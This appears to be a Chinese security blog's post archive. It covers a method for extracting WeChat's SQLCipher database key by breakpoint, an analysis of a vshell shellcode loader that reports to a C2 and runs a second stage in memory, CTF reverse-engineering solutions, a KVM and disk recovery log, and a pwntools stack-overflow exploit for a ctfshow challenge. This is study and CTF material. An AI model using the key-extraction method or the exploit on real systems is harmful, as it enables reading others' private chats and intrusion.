CSF

【二进制】weixin4.1.0.18版本通过hook获取key思路

Thu, 28 Aug 2025 16:07:10 +0800

WCDB / SQLCipher 动态调试抓取 Key 方法整理

1. 前言

基于当前最新 weixin 4.1.0.18版本的思路

WCDB 基于 SQLite/SQLCipher 定制，数据库加密依赖 cipher key。
加密流程：上层调用 setCipherKey → 底层函数 sub_183D75280 / sub_183D750F0 → 调用 sub_1828B11E0 生成 codec context → 安装到 Pager (sub_183D71450)，并设置页级解密函数 sub_183D74E50。
动态调试时，只要在 key 尚未进入派生/KDF 之前断点，就能直接 dump 出明文 key。

2. 抓取 Key 的关键函数链

应用配置 / 迁移函数
- sub_1828B1B30：尝试 PRAGMA cipher_compatibility=3/2/1，必要时 ATTACH ... KEY + sqlcipher_export()。
设置密钥并发 PRAGMA
- sub_1828B2230(db, keyPtr, keyLen, pragmaFmt, &userVer, &jmode)
  - 调用 sub_183D75280(db, keyPtr, keyLen) 设置 key
  - 再执行 PRAGMA cipher_*
设置密钥的核心函数
- sub_183D75280(db, keyPtr, keyLen) → sub_183D752A0 → sub_183D750F0
  - 之后下断点在这里即可获取keyPtr
- 在 sub_183D750F0 内部调用 sub_1828B11E0 创建 codec_ctx，再通过 sub_183D71450 安装 pager codec：
  - xCodec = sub_183D74E50 ← 页级解密函数
  - xCodecFree = sub_183D75240

3. 动态调试断点位置

A. 关键函数：`sub_183D75280`

Windows x64 调用约定：
- RCX = db handle
- RDX = key 指针
- R8D = key 长度
在函数入口下断 → 直接读取 RDX 指向的内存，长度 R8D。
这就是明文 key。

B. 下游：`sub_183D750F0`

仍然带有 a3=keyPtr, a4=keyLen，在 codec 创建前可抓取。

C. Codec 创建：`sub_1828B11E0`

参数同样包含 keyPtr/keyLen，用于派生实际页加解密密钥。
理论上也可以在这里抓，之后方法失效可以尝试。

4. 验证交叉点

在调试器中 dump RDX 地址的内存，按 R8D 长度保存。
常见情况：
- 32 字节随机高熵的二进制 → 直接就是 AES256/ChaCha20 key；
- ASCII/UTF-8 字符串 → 是口令，后续会在 sub_1828B11E0 里做 PBKDF2 派生。
验证方法：
- 后续进入页解密函数 sub_183D74E50，在 sqlite3OsRead 返回页后会被调用，对整页 buffer 解密；页头会从乱码变 "SQLite format 3\0"。
- 或者直接使用DB Browser for SQLCipher 浏览原始数据库文件。

5. 抓取示例

注意：断点断在 dll基指+183D75280-18000000 其他地方也可以，具体看需求。

调试时寄存器快照

RDX = 00000237329BDB50   → key 指针
R8D = 0x20               → key 长度 32

内存 dump（32 字节）

B1 8A 40 98 xxxxx FD 2C 4E 1C
64 EB 26 D3 xxxxx DE 70 E4 74

格式化输出

Hex:
b18a40xxxxxxx70e474

基于key获取rawkey

使用 sqlcipher browser 浏览数据库

成功访问

6. 总之

下断 sub_183D75280 → 看 RDX / R8D → dump 内存 → 得到 key。
Key 会传递给 sub_1828B11E0 → codec_ctx → Pager (sub_183D71450)。
页解密函数是 sub_183D74E50。

7.最后

最后就可以通过hook的手段，通过插入int3然后强行读取rdx来然后取消hook就可以获取到key了，这里我就不展示了。

【木马分析】vshell木马分析

Thu, 17 Jul 2025 16:59:17 +0800

vshell木马分析

[TOC]

前言

今天来分析一下这个vshll的shellcode加载器，首先我们导出bin，文件本地很小只有1kb，

因为是汇编，所以直接拖入ida查看即可

入口

因为是shellcode，所以代码先保存了寄存器和空间

push r.. × 8    保存所有通用寄存器，防止被后续破坏。
lea rbp,[rsp-0x298]
sub rsp,0x398    在原来栈顶以下再开 0x398 字节的大栈帧。后面所有局部变量/拼字符串都放这里。

sub_45C函数

先说一下，这函数主要是通过函数hash来查找出这个函数的虚拟地址，这里的726774Ch就是kernel32.dll里的LoadLibraryA。

我们进去sub_45C函数，想按F5发现F5大法失败了，说是要设置语言但实际不行，可能出bug了，只能硬着头皮看汇编了

起始部分

mov rax, rsp    暂存当前栈顶地址到 RAX，方便直接在红区里写数据。（并不是红区只是单存的保存寄存器状态）
mov [rax+8], rbx
mov [rax+10h], rbp
mov [rax+18h], rsi
mov [rax+20h], rdi    把调用的 4 个寄存器存在栈指针下方（未改变RSP他就不保存了）。
看样子是比平时一个个 push 更快。（其实我也不知道这样的设计的意义是什么）
push r14    额外保存 R14（后面要当循环计数器）。
sub rsp, 10h    腾出 0x10 字节的局部变量区，IDA 叫 var_18。

我发现上面我吧栈增长方向和栈顶下方的概念弄混了，原本想把文章改正的，但想想还是保留错误，在下面更正
栈增长方向这样理解没问题，栈顶下方确实是数值更小的地址
那就是说如果是rax-8才是用到红区，rax+8只是单存保存寄存器，所以我一开始有点不理解为什么用红区保存这些非关键寄存器。

起始后的栈指针

内容	栈指针
存的 rbx/rbp/rsi/rdi	← RSP+0x0
var_18 (16 B)	← RSP-0x10
保存的 r14	← RSP-0x18

取得 PEB 与第一模块（重点）

从刚刚开始我就一直好奇一个事情，就是我们可以看到这个exe的导入表都是空，那么怎么执行外部函数的呢

这里简单带一下TEB和PEB的知识（网上都有）

主要是我不知道mov rax, qword ptr gs:loc_5C+4是什么查了一下才豁然开朗。

TEB
- TEB是每个线程都有，保存 TLS、异常链、自旋计数等纯线程级信息。通过 GS（x64）或 FS（x86）直接寻址。
PEB
- 每个进程 1 份，被所有线程共享。字段很多，但最常用的是：
  - PEB->Ldr → PEB_LDR_DATA：维护已加载模块链表。
  - PEB->ProcessParameters：命令行、环境变量。
  - 指向主进程堆、TLS 位图、异常处理列表、调试标志

也就是说他这里只要拿到 PEB，不调用任何 WinAPI 就能做到下面的操作：

枚举出 kernel32.dll、ntdll.dll 等在内存中的真实基址；
解析它们的导出表，手动拿到 LoadLibraryA、GetProcAddress 等地址；
进而做到免IAT、免明文字符串免API调用监控，做到免杀的效果。（但这个木马已经被杀烂了）

下面借用一下别人的说明

Windows 每个进程的 PEB（Process Environment Block）中有一个字段 PEB->Ldr。
- Ldr 里有三条双向链表：
  - InLoadOrderModuleList
  - InMemoryOrderModuleList　← 本函数用的
  - InInitializationOrderModuleList
每个节点不是简单结构，而是大号 LDR_DATA_TABLE_ENTRY，里面既有链表指针，也记录 DLL 的各种信息。
重要偏移（Win10 x64 常见布局）：

字段	偏移	作用
`InMemoryOrderLinks`	0x20	当前链表的 `LIST_ENTRY`
`DllBase`	0x30	模块基址（HMODULE）
`BaseDllName`	0x58	UNICODE_STRING，DLL 文件名（不含路径）

InMemoryOrderModuleList 是循环链表：最后一个节点再指向 Ldr 里的头结点哑元；哑元的 DllBase 字段恒为 0。

上面借用一下别人的说明

我们继续看代码

; 获取 PEB
mov     rax, gs:[0x60]          ; TEB → PEB  （= qword ptr gs:loc_5C+4）

; 保存调用参数
mov     ebp, ecx                ; 把目标哈希存进 EBP，后面循环都要用

; 计数寄存器清零
xor     r14d, r14d              ; r14d = 0，既代表“false”也当循环计数起点

; 走到 Ldr 模块链表
mov     rdx, [rax+0x18]         ; RDX = PEB->Ldr
mov     r8,  [rdx+0x10]         ; R8  = Ldr->InMemoryOrderModuleList.Flink
                                ;        （链表第 1 个 LDR_DATA_TABLE_ENTRY）

接下去的代码
就是不断循环查找链表然后计算hash是否和入参一致（忽然发现F5大法恢复了，瞬间舒服了）

一共有两个return
- return 0就说明已把所有模块都扫完，都没有这个函数，然后返回说明错误了cmp [r8+30h], r14 → jz loc_54C这边做的比较然后跳到loc_54C把EAX置0
- return v6，也就是循环的下一个模块的基址，v6在循环的时候就被定义了。

; 0x0495  外层循环取模块基址
mov     r9, [r8+30h]        ; R9 ← DllBase        → v6 = v5[6]

; 0x0519  函数名哈希命中后
lea     eax, [rbx+rdx]
cmp     eax, ebp
jz      loc_52E             ; 跳到构造返回值

; 0x052E  计算最终地址
mov     eax, [r10+24h]      ; AddressOfNameOrdinals
add     rax, r9             ;   ↑ 这里 r9 仍为 DLL 基址
…
mov     eax, [rcx+rdx*4]    ; Function RVA
add     rax, r9             ; RAX = r9 + RVA  → 返回

获取函数基指

了解了sub_45C我们看看很清楚了，他获取了一堆函数，然后吧基指放在了rbp中，有的也直接放在了r13、r15等寄存器里

mov ecx, <hash>
call sub_45C
mov  <某寄存器/栈>, rax

对照后续调用可以推断出大致映射（~~直接问ai了~~）：

保存位置	真实 API	用途
`rbx`（第二次）	`socket`/`WSASocketA`	创建 TCP socket
`r13`	`connect`	连接远程主机
`rsi`	`setsockopt` 或 `select`	调整 sock 参数
`rdi`	`send`	发送握手数据
`r15`	`recv`	下载主体数据
`[rbp-20h]`	`VirtualAlloc`	申请可执行内存
`[rbp-18h]`	`closesocket`	收尾清理
`r14`	`sprintf` / `_snprintf`	字符串拼装
…	（其余为 `Sleep`、`GetVersion`, `VirtualProtect` 等）

调用部分

准备回连

最后将调用获取函数

上报

下面调用了很多次的rdi也就是发送送握手数据，来发送设备的识别码[rbp-80h] = 0x20343677 → "w64 4"；紧跟空格和 0 组成 w64 64。告诉 C2 这是 Windows-64 位客户端。

加载大马

最后就是加载大马的部分

木马整体流程

到这里整体流程已经被摸清楚了

启动与栈帧准备
入口只做两件事：
- 保存全部通用寄存器，防止被破坏；
- 在 RSP 下方一次性开 0x398 字节大栈帧，供后续拼接字符串和存放临时数据。
动态解析 API
- 自带的 sub_45C 函数按“ROR-13 + 大小写无关”算法遍历 PEB 中所有模块的导出名哈希。
- 仅凭 32 位哈希值就能拿到 LoadLibraryA、socket、connect、recv、VirtualAlloc 等真实地址，完全省掉了明文字符串。
加载必需 DLL
利用刚解析出的 LoadLibraryA 动态加载 user32.dll, ws2_32.dll, msvcrt.dll，为网络通信、字符串处理和内存管理做准备。
一次性解析所有关键 API
将 socket / connect / send / recv / VirtualAlloc / closesocket / _snprintf … 等十几条 API 地址分别保存到寄存器或栈槽里，后面直接调用。
拼接关键字符串
- C2 地址：硬编码字节组合成 xxx.xxx.xxx.141，端口 55841。
- 客户端指纹："w64 <本机IP> <OS版本>"。
- 日志文件名：log_<日期>.ed。
  这些都用 _snprintf 现场拼出，避免静态特征。
建立 TCP 连接并上报信息
- socket(AF_INET, SOCK_STREAM) → connect 到 C2。
- 依次 send 客户端指纹、日志名等，完成“注册/握手”。
申请可执行内存
VirtualAlloc(NULL, 0x1C9C380 ≈ 30 MB, MEM_COMMIT, PAGE_EXECUTE_READWRITE) 为后续载荷准备 RWX 缓冲区。
循环下载并异或解密
- 每次 recv 0x64000 字节。
- 对收到的数据逐字节 XOR 0x99 写回缓冲区。
- 循环直到 recv 返回 < 要求长度（服务器主动断流）。
收尾并执行载荷
- closesocket 关闭连接。
- 直接 call 指向缓冲区首地址 → 跳入已解密的 Stage-2 Shellcode，不落地文件，纯内存执行。
退出 Loader
如果第二阶段代码返回，则恢复之前保存的寄存器并 retn；否则进程控制权彻底交给后续载荷。

这是一个只有 0x56C 字节的Stage-0 TCP Loader：通过 API 哈希隐藏所有函数名，联网到硬编码 C2，下载 XOR 加密的下一阶段并在内存中直接执行，为远控恶意模块有点类似反射加载dll。

【CTF】一些简单的逆向题

Fri, 11 Jul 2025 17:01:27 +0800

【CTF】一些简单的逆向题

题目介绍

一共只有三题，我们从简单到难来看

第一题 DisassembleMe.exe

这是一题签到题，先来运行一下

Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\test\Desktop\22>DisassembleMe.exe
Welcome to DASCTF.
Please find the flag.

拖入IDA ,按一下F5即可拿到flag

第二题 DebugMe.exe

执行发现，题目意图很明显

Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\test\Desktop\22>DebugMe.exe
Welcome to DASCTF.
Debug me and you'll get the flag

然后我们就直接拖入ida
发现flag标识在这里

函数跟进去

按正常思路直接debug下断点到这里就可以了，但我们反其道而行之

先分析一下解密函数

从主函数开始，获取基地址，找到PE头指针，然后读取“PE\0\0”值并存储。
这个值0x4550被传递给sub_401000。
进入sub_401000后，循环遍历常量数组v4，每次迭代计算char[i] = v4[i] / a1，并用v4[i] % (255 * char)更新a1，最终生成22个字符并返回字符串。
在sprintf中，字符串被插入到“DASCTF{%s}”模板中。

根据这个函数复写一个解密函数

a1 = 0x4550
v4 = [1153360,1007240,2704000,2471560,2165525,845500,642135,
      2272725,500175,1097250,882000,2772000,2310000,1425000,
      1675800,524160,2048280,1295325,798000,1360800,1099980,1198920]
out = []
for x in v4:
    ch = x // a1
    out.append(chr(ch))
    a1 = x % (255 * ch)
flag_body = ''.join(out)
sprintf(Buffer, "DASCTF{%s}", flag_body);

执行即可输出flag了

DASCTF{Ahha_You_Find_The_Flag}

第三题 K1llorSave.exe

执行发现卡住在这里

Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\test\Desktop\22>K1llorSave.exe
Mathematics is a beautiful and powerful tool that helps us understand and naviga
te the world around us.

Lets check if it still works in the planet

Checking...

然后拖入ida里查看发现被sleep了100秒难怪会卡，等一会之后发现输出了，但没有flag

我们继续看，这边有两个分支，稍微看看这个伪C

argv 指向命令行参数数组；*argv 就是 argv[0]，即程序自身的路径字符串。
循环逐字节读取，直到遇到 ‘\0’ 结束符。
因为先把 v4 设为 -1，再 ++v4，所以循环结束时 v4 就是字符串长度。
如果字符串非空（现实里几乎必然），v4 ≥ 0。
只有在极端情况 argv[0] 指向空串 “” 时，循环一次都不进
于是就有了两条分支
- 正常执行路径（argv[0] 非空） ➜ 调用 sub_1400011E0
- 永远几乎进不到的分支（argv[0] 为空） ➜ 调用 sub_1400011B0

其实通过汇编可以就可以看出，几乎只会执行sub_1400011E0

关键是sub_1400011E0，我们进去看看，一眼头大。

我打算直接改汇编二进制文件，吧条件给删掉，直接调用这个函数，主要吧sleep和前面的条件给nop掉就可以了nop的时候记得吧全部的字节都nop，以免出现图中的db内容，会导致程序异常

最后完成改成这样，在nop中新增一个call sub_1400011B0

最后写入到文件，执行即可获取flag

【数据恢复】修复KVM快照链与损坏的系统盘

Thu, 26 Jun 2025 09:12:55 +0800

【数据恢复】修复损坏的c盘并且重建引导

[TOC]

前言

使用工具

chkdsk
diskgenius

实在是倒大霉了，这次是实况

由于工作要求开发需要windows系统环境，但我用的是mac，于是开发机我用kvm启动了。
但是默认var位置的大小太小了，导致之后磁盘爆满，无法正常使用。
迁移之后发现快照链丢失，随后重建快照链，然后打开发现引导失败，用PE打开后发现磁盘变成row格式，随后进行修复

修复KVM快照链

这一步比较简单，只是kvm的基础迁移操作，但我要吐槽的是为什么kvm的路径是绝对路径，而不是相对路径呢

这边重点提示一下，任何操作之前都需要备份，特别是重要的生产环境

virsh list --all    # 查看虚拟机列表
 Id   Name                   State
---------------------------------------
 6    ubuntu20.04_Honeypot   running
 7    ubuntu20.04_HFish      running
 14   win10-debug            running
 34   windows         running
 -    xt-windows-build-tg    shut off

virsh shutdown windows  # 确保要关机后操作

接下去查看快照链

执行qemu-img info --backing-chain /root/kvm_data/kvm_server/images/windows.windows_2025-06-25T06:22需要选择最新的链来看
输出一下内容

这边和我当前目录完全不一致，我已经cp到了在/home/kvm_server中，但他指向的还是默认位置

接下去开始重建快照链

我是用先修最底层 → 再往上层的步骤来的。
边我就直接吧我执行的命令贴出来了
执行前千万要关机，这是我看官网中这样说的。我这边就再重复一遍

#############################################################################
# 1/6  windows-开发机.windows_10_ok  →  windows-开发机.qcow2  (最底层)
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b '/root/kvm_data/kvm_server/images/windows-开发机.qcow2' \
  '/root/kvm_data/kvm_server/images/windows-开发机.windows_10_ok'

#############################################################################
# 2/6  windows-开发机.windows_2025-04-02T13:38  →  windows-开发机.windows_10_ok
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b '/root/kvm_data/kvm_server/images/windows-开发机.windows_10_ok' \
  '/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-04-02T13:38'

#############################################################################
# 3/6  windows-开发机.windows-开发机_2025-05-12T01:50  →  windows-开发机.windows_2025-04-02T13:38
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b '/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-04-02T13:38' \
  '/root/kvm_data/kvm_server/images/windows-开发机.windows-开发机_2025-05-12T01:50'

#############################################################################
# 4/6  windows-开发机.windows_2025-05-16T00:58  →  windows-开发机.windows-开发机_2025-05-12T01:50
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b '/root/kvm_data/kvm_server/images/windows-开发机.windows-开发机_2025-05-12T01:50' \
  '/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-05-16T00:58'

#############################################################################
# 5/6  windows-开发机.1749198057  →  windows-开发机.windows_2025-05-16T00:58
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b '/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-05-16T00:58' \
  '/root/kvm_data/kvm_server/images/windows-开发机.1749198057'

#############################################################################
# 6/6  windows-开发机.windows-开发机_2025-06-25T06:22  →  windows-开发机.1749198057  (最上层)
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b '/root/kvm_data/kvm_server/images/windows-开发机.1749198057' \
  '/root/kvm_data/kvm_server/images/windows-开发机.windows-开发机_2025-06-25T06:22'

执行完成之后就可以进入系统了，

修复系统盘

然后我发现进入系统之后出现了BOOTMGR image is corrupt. The system cannot boot.错误，期初我以为是系统引导出问题了，然后我用diskgenius修复了引导发现不行

进入PE系统

打开磁盘管理发现变成Raw了，真是风水轮流转，以前都是别人问我变成Raw怎么办了，现在我需要自己解决了

再次说明，我在操作之前对虚拟机进行了二次备份，所以可以大胆操作，千万别在唯一的备份中操作

使用diskgenius检查磁盘状态

还好有之前处理的经验，我当即打开diskgenius然后智能挂载查看文件内容，还好东西都在，悬着的心差点死了

这一步没有截图，因为写到这里的时候我已经在等chkdsk的重建了

具体可以查看diskgenius官方操作文档：https://www.diskgenius.cn/exp/raw-external-hdd.php

使用chkdsk

既然东西还能用工具挂载出来展示，那么说明只是一些MFT的损坏
然后就用chkdsk来自动恢复就可以了（希望别出现无线循环修复的情况，这样的话要手动检查元文件）
先贴出我总结的命令：

diskpart
list volume      # 记住系统分区盘符（假设是 C:）
list partition    # 记住 100 MB 系统保留分区（假设卷标无盘符）
assign letter=S  # 给 100 MB 分区临时挂 S:
exit

chkdsk C: /f /r            # 花时间较长
chkdsk S: /f               # 修系统保留分区

执行chkdsk C: /f /r然后就开始了

对了我这截图中系统盘是D盘，为了方便演示和说明，文字中用C盘来表示

接下去就是等待……
等有消息了我再继续更新

有消息了

但是是坏消息，出现了磁盘空间不足，无法恢复丢失的数据。错误。
应该是我用了/r的参数，会尝试标记坏簇，然后再把文件移动到新的位置。
但很奇怪，kvm虚拟机也会这样吗？
于是我尝试只用chkdsk C: /f试试

接下去又是等待……

结束

最后在不断尝试之后，还是放弃了，虽然c盘文件原封不动都在，而且可以正常引导，启动，但进入系统前会出现无限循环的windows自动修复，我只能庆欣数据都还在吧

【二进制】ELF文件的安全保护机制

Fri, 20 Jun 2025 08:45:30 +0800

今天分享一下以前写过的笔记关一ELF文件的安全保护机制

pwndbg> checksec 
File:     /home/cz/pwn/stack
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No

这是使用 pwndbg 中的 checksec 命令对 ELF 文件安全属性的检查结果。下面是每个字段的含义和解析：

1. 输出字段解析

字段	含义	检查结果
File	被检查的文件路径。	`/home/cz/pwn/stack`
Arch	文件的架构类型，例如 `i386`（32位）或 `x86_64`（64位）。	`i386`
RELRO	Relocation Read-Only，重定位表的保护级别（Partial 或 Full）。	`Partial RELRO`
Stack	堆栈金丝雀保护（Stack Canary），用于检测缓冲区溢出是否覆盖返回地址。	`No canary found`
NX	No eXecute 位，数据段（如栈和堆）是否被标记为不可执行。	`NX enabled`
PIE	位置无关可执行（Position Independent Executable），是否启用了地址随机化（ASLR）。	`No PIE (0x8048000)`
Stripped	文件是否去除了符号表。如果去掉符号表，调试和反编译会更加困难。	`No`（未去掉符号表）

2. 结果详细解读

RELRO: Partial RELRO

启用了部分 RELRO 保护。
部分 GOT 表（全局偏移量表）被标记为只读，防止部分重定位攻击。
但未启用 NOW 标志（Full RELRO），意味着在程序运行时，GOT 表的重定位仍然可能被覆盖，存在一定的安全风险。

Stack: No canary found

未启用堆栈保护（Stack Canary）。
如果程序中存在缓冲区溢出漏洞，攻击者可以直接覆盖返回地址或其他关键数据，执行恶意代码。
堆栈金丝雀可以在溢出发生时检测异常，但这里没有启用。

NX: NX enabled

启用了 NX（No eXecute） 位，数据段（如栈、堆）被标记为不可执行。
攻击者无法直接在栈上执行 Shellcode，有效防止简单的代码注入攻击。
如果攻击者尝试在栈上执行代码，程序会触发段错误。

PIE: No PIE (0x8048000)

未启用位置无关可执行（PIE）。
程序的加载地址是固定的（基址为 0x8048000）。
攻击者可以预测内存布局（例如代码段地址），更加容易实施基于地址的攻击（如 ROP 攻击）。

Stripped: No

未去掉符号表。
程序仍然保留调试信息（如函数名、变量名等符号）。
这对攻击者有利，因为符号信息可以帮助快速定位和分析程序中的漏洞。

【二进制】程序的基址

Wed, 04 Jun 2025 14:33:56 +0800

程序的基址

[TOC]

问题在静态分析中，程序有地址

那么我们要是在动态调试的时候下断点怎么做呢，那么就要用到程序的基址+偏移地址，未开启PIE除外

开启了PIE

下面可以看到，程序开启PIE，那么在动态调试时，程序的代码段地址是基址 + 静态分析中的偏移地址。因此，你需要将基址加上静态分析中观察到的地址（偏移量）来设置断点。

用vmmap找到基址0x55be78b8d000

如果你要下的断点是0x11DD，那么在pwndbg中需要用b *(0x55be78b8d000 + 0x11DD)才行

没有开启PIE

下面可以看到，程序没有开启PIE，那么每次的基址是固定的，用vmmap可以查看，第一个0x8048000，也就是基址了，和静态分析里是一致的，如果要下断点，那么在pwndbg中可以用b *(0x8048581)即可成功下断点

pwndbg> checksec 
File:     /home/cz/pwn/stack
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
     Start        End Perm     Size Offset File
 0x8048000  0x8049000 r-xp     1000      0 /home/cz/pwn/stack
 0x8049000  0x804a000 r--p     1000      0 /home/cz/pwn/stack
 0x804a000  0x804b000 rw-p     1000   1000 /home/cz/pwn/stack
0xf7d67000 0xf7d8a000 r--p    23000      0 /usr/lib/i386-linux-gnu/libc.so.6
0xf7d8a000 0xf7f16000 r-xp   18c000  23000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f16000 0xf7f9b000 r--p    85000 1af000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9b000 0xf7f9d000 r--p     2000 234000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9d000 0xf7f9e000 rw-p     1000 236000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9e000 0xf7fa8000 rw-p     a000      0 [anon_f7f9e]
0xf7fc0000 0xf7fc2000 rw-p     2000      0 [anon_f7fc0]
0xf7fc2000 0xf7fc6000 r--p     4000      0 [vvar]
0xf7fc6000 0xf7fc8000 r-xp     2000      0 [vdso]
0xf7fc8000 0xf7fc9000 r--p     1000      0 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc9000 0xf7fed000 r-xp    24000   1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fed000 0xf7ffb000 r--p     e000  25000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p     2000  33000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p     1000  35000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rw-p    21000      0 [stack]
pwndbg>

下面这张图也可以很明显的发现地址是一致的

【CTF】pwn栈溢出的入门打卡-ctfshow-pwn02

Thu, 09 Jan 2025 11:21:44 +0800

ctfshow-pwn02 栈溢出

[TOC]

知识回顾

这题首先需要掌握的是call和retn的底层逻辑，这里我在汇编基础文章里写过，但怕忘，还是重点再重复一次。

首先讲讲call

其实call本质是分步执行的
1、修改eip
2、吧call的下一行地址压入堆栈中
3、ESP值-4

# 执行
call 004183FA
# 分步
mov eip,004183FA
push 004183FA -> mov dword ptr ds:[esp-4],004183FA
                 sub esp,4

再讲讲ret

ret其实就是反过来，将esp-4的地址移动到eip，也就是将call之前写入栈中的下一行地址给赋值给eip，实现调用完后继续执行的效果

# 执行
ret
# 分步执行
add esp,4
mov eip,[esp-4]

了解了这些前置知识，我们就可以入门pwn的第一课了，栈溢出

静态分析

下载题目，在ctfshow平台上的pwn02题目

发现是一个32位的ELF文件

┌──(c㉿kali)-[~/pwn/stack_dir]
└─$ file stack 
stack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d51fd1e5dbc8bde0ebef57a961f37ee41fab2de8, not stripped

并且可以看到保护基本没有开，PIE也关的，代表我们可以直接通过静态地址来跳转到函数地址。

pwndbg> checksec 
File:     /home/cz/pwn/stack_dir/stack
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
pwndbg>

在ida里发现有几个明显奇怪的函数

在pwnme函数中发现esp只被分配了18h。
然而在call _fgets中指定了最多读取0x32字节（50字节）到s。
导致可能会出现栈溢出。

思考

那么溢出是前提，我们的目的是什么呢？

目的其实就是将call压入的下一eip的值给覆盖了。

可是这还有一个问题，实现一个eip可控的目的，但可控，我们要改成什么呢？

我们可以看到题目中，其实下面程序已经给我们准备了一个stack后门函数，地址为0x0804850F，我们只要将esp-4的值改成这个就可以了

那么我们就直接开始

开始

找出覆盖点

快速找出需要覆盖到的返回地址长度只需要用pwndbg

1.先用cyclic 40生成一段字符串：
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
2.gdb运行程序，输入字符串
3.cyclic -l 【错误地址】

根据下面的尝试，我们得到了溢出所需的长度是13

pwndbg> cyclic 40
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
pwndbg> r
Starting program: /home/cz/pwn/stack_dir/stack 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
stack happy!
32bits

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa

Program received signal SIGSEGV, Segmentation fault.
0x65616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 EAX  0
 EBX  0xf7f9ce14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x235d0c /* '\x0c]#' */
 ECX  0
 EDX  0xf7f9e8ac (_IO_stdfile_0_lock) ◂— 0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x80485b0 (__libc_csu_init) ◂— push ebp
 EBP  0x64616161 ('aaad')
 ESP  0xffffd300 ◂— 'aaafaaagaaahaaaiaaajaaa\n'
 EIP  0x65616161 ('aaae')
────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────
Invalid address 0x65616161
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd300 ◂— 'aaafaaagaaahaaaiaaajaaa\n'
01:0004│     0xffffd304 ◂— 'aaagaaahaaaiaaajaaa\n'
02:0008│     0xffffd308 ◂— 'aaahaaaiaaajaaa\n'
03:000c│     0xffffd30c ◂— 'aaaiaaajaaa\n'
04:0010│     0xffffd310 ◂— 'aaajaaa\n'
05:0014│     0xffffd314 ◂— 'aaa\n'
06:0018│     0xffffd318 —▸ 0xf7da5000 (canonicalize_file_name) ◂— sub esp, 0x14
07:001c│     0xffffd31c —▸ 0xf7d8bd43 (__libc_start_call_main+115) ◂— add esp, 0x10
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► 0 0x65616161 None
   1 0x66616161 None
   2 0x67616161 None
   3 0x68616161 None
   4 0x69616161 None
   5 0x6a616161 None
   6 0xa616161 None
   7 0xf7da5000 canonicalize_file_name
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x65616161
Finding cyclic pattern of 4 bytes: b'aaae' (hex: 0x61616165)
Found at offset 13
pwndbg>

覆盖返回地址

将栈中填满溢出的值13，然后后面填上返回地址即可，下面是用pwntools的py代码样例

重点是看payload这个变量，它将a*13个作为溢出的字符串 p32是创建一个32位的小端序字节序列，地址就是之前静态分析出的后门地址

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
backdoor = 0x0804850F
p=process("./stack")

# p=remote("",0)

gdb.attach(p, '''
    b *0x08048505
    c
''')
p.recvuntil(b"32bits\n")

payload = b"a"*13 + p32(backdoor)
p.sendline(payload)
p.interactive()

我们运行一下试试

发现堆栈中的返回地址被我们改成了0x804850f

─────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────
   0x8048505 <pwnme+26>    add    esp, 0x10     ESP => 0xfffe5fb0 (0xfffe5fa0 + 0x10)
   0x8048508 <pwnme+29>    mov    eax, 0        EAX => 0
   0x804850d <pwnme+34>    leave  
 _ 0x804850e <pwnme+35>    ret                                <stack>
    _
   0x804850f <stack>       push   ebp
   0x8048510 <stack+1>     mov    ebp, esp      EBP => 0xfffe5fcc __ 0x61616161 ('aaaa')
   0x8048512 <stack+3>     sub    esp, 8        ESP => 0xfffe5fc4 (0xfffe5fcc - 0x8)
   0x8048515 <stack+6>     sub    esp, 0xc      ESP => 0xfffe5fb8 (0xfffe5fc4 - 0xc)
   0x8048518 <stack+9>     push   0x8048630
